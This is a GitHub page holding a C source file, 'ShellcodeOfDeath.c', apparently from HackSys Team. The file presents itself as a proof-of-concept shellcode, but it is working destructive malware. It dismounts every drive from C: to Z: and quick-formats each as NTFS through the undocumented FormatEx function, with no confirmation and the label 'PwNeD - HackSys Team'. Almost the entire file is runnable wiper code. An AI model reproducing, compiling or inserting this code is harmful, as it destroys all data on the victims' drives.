-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy pathShellcodeOfDeath.c
145 lines (115 loc) · 3.79 KB
/
ShellcodeOfDeath.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <windows.h>
#include <WinIoCtl.h>
#define _UNICODE 1
/*
_ __ _____
/\ /\__ _ ___| | __/ _\_ _ ___ /__ \___ __ _ _ __ ___
/ /_/ / _` |/ __| |/ /\ \| | | / __| / /\/ _ \/ _` | '_ ` _ \
/ __ / (_| | (__| < _\ \ |_| \__ \ / / | __/ (_| | | | | | |
\/ /_/ \__,_|\___|_|\_\\__/\__, |___/ \/ \___|\__,_|_| |_| |_|
|___/
http://hacksys.vfreaks.com/
Author:
Ashfaq Ansari
Thanks:
Mark Russinovich (Systems Internals - http://www.sysinternals.com)
Module Name:
Shellcode Of Death
Abstract:
This is a proof of concept shellcode in C format.
IDE:
Dev-C++ 4.9.9.2 (Windows XP SP3)
Compiler:
gcc 3.4.2
*/
typedef enum {
PROGRESS,
DONEWITHSTRUCTURE,
UNKNOWN2,
UNKNOWN3,
UNKNOWN4,
UNKNOWN5,
INSUFFICIENTRIGHTS,
UNKNOWN7,
VOLUME_IN_USE,
CANT_QUICK_FORMAT,
UNKNOWNA,
DONE,
UNKNOWNC,
UNKNOWND,
OUTPUT,
STRUCTUREPROGRESS
} CALLBACKCOMMAND;
typedef BOOLEAN (__stdcall *PFMIFSCALLBACK)( CALLBACKCOMMAND Command,
DWORD SubAction,
PVOID ActionInfo );
typedef VOID (__stdcall *PFORMATEX)( PWCHAR DriveRoot,
DWORD MediaFlag,
PWCHAR Format,
PWCHAR Label,
BOOL QuickFormat,
DWORD ClusterSize,
PFMIFSCALLBACK Callback );
PFORMATEX FormatEx;
BOOLEAN __stdcall FormatExCallback( CALLBACKCOMMAND Command,
DWORD Modifier,
PVOID Argument )
{
return TRUE;
}
int main( )
{
int i;
int res;
char szVolumeAccessPath[] = "\\\\.\\X:";
DWORD dwRet;
HANDLE hVolRead;
PWCHAR DriveList[] = {L"C:", L"D:", L"E:", L"F:", L"G:", L"H:", L"I:",
L"J:", L"K:", L"L:", L"M:", L"N:", L"O:", L"P:",
L"Q:", L"R:", L"S:", L"T:", L"U:", L"V:", L"W:",
L"X:", L"Y:", L"Z:"};
WCHAR RootDirectory[MAX_PATH];
LoadLibrary( "fmifs.dll" );
FormatEx = (void *) GetProcAddress(GetModuleHandle("fmifs.dll"),
"FormatEx");
for ( i = 0; i <= 23; i++){
wcscpy( RootDirectory,DriveList[i] );
RootDirectory[2] = L'\\';
RootDirectory[3] = (WCHAR) 0;
szVolumeAccessPath[4] = RootDirectory[0];
//Get the handle to the drive
hVolRead = CreateFile(szVolumeAccessPath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
// dismount the file system
// no need to lock the volume
// once dismounted all the handles will be invalid
res = DeviceIoControl(hVolRead,
FSCTL_DISMOUNT_VOLUME,
NULL,
0,
NULL,
0,
&dwRet,
NULL);
// Close the handle
CloseHandle(hVolRead);
//Format the drive
//Proceed to next drive if error occurs
FormatEx(RootDirectory,
0xC,
L"NTFS",
L"PwNeD - HackSys Team",
TRUE,
4096,
FormatExCallback );
Sleep(200);
}
return 0;
}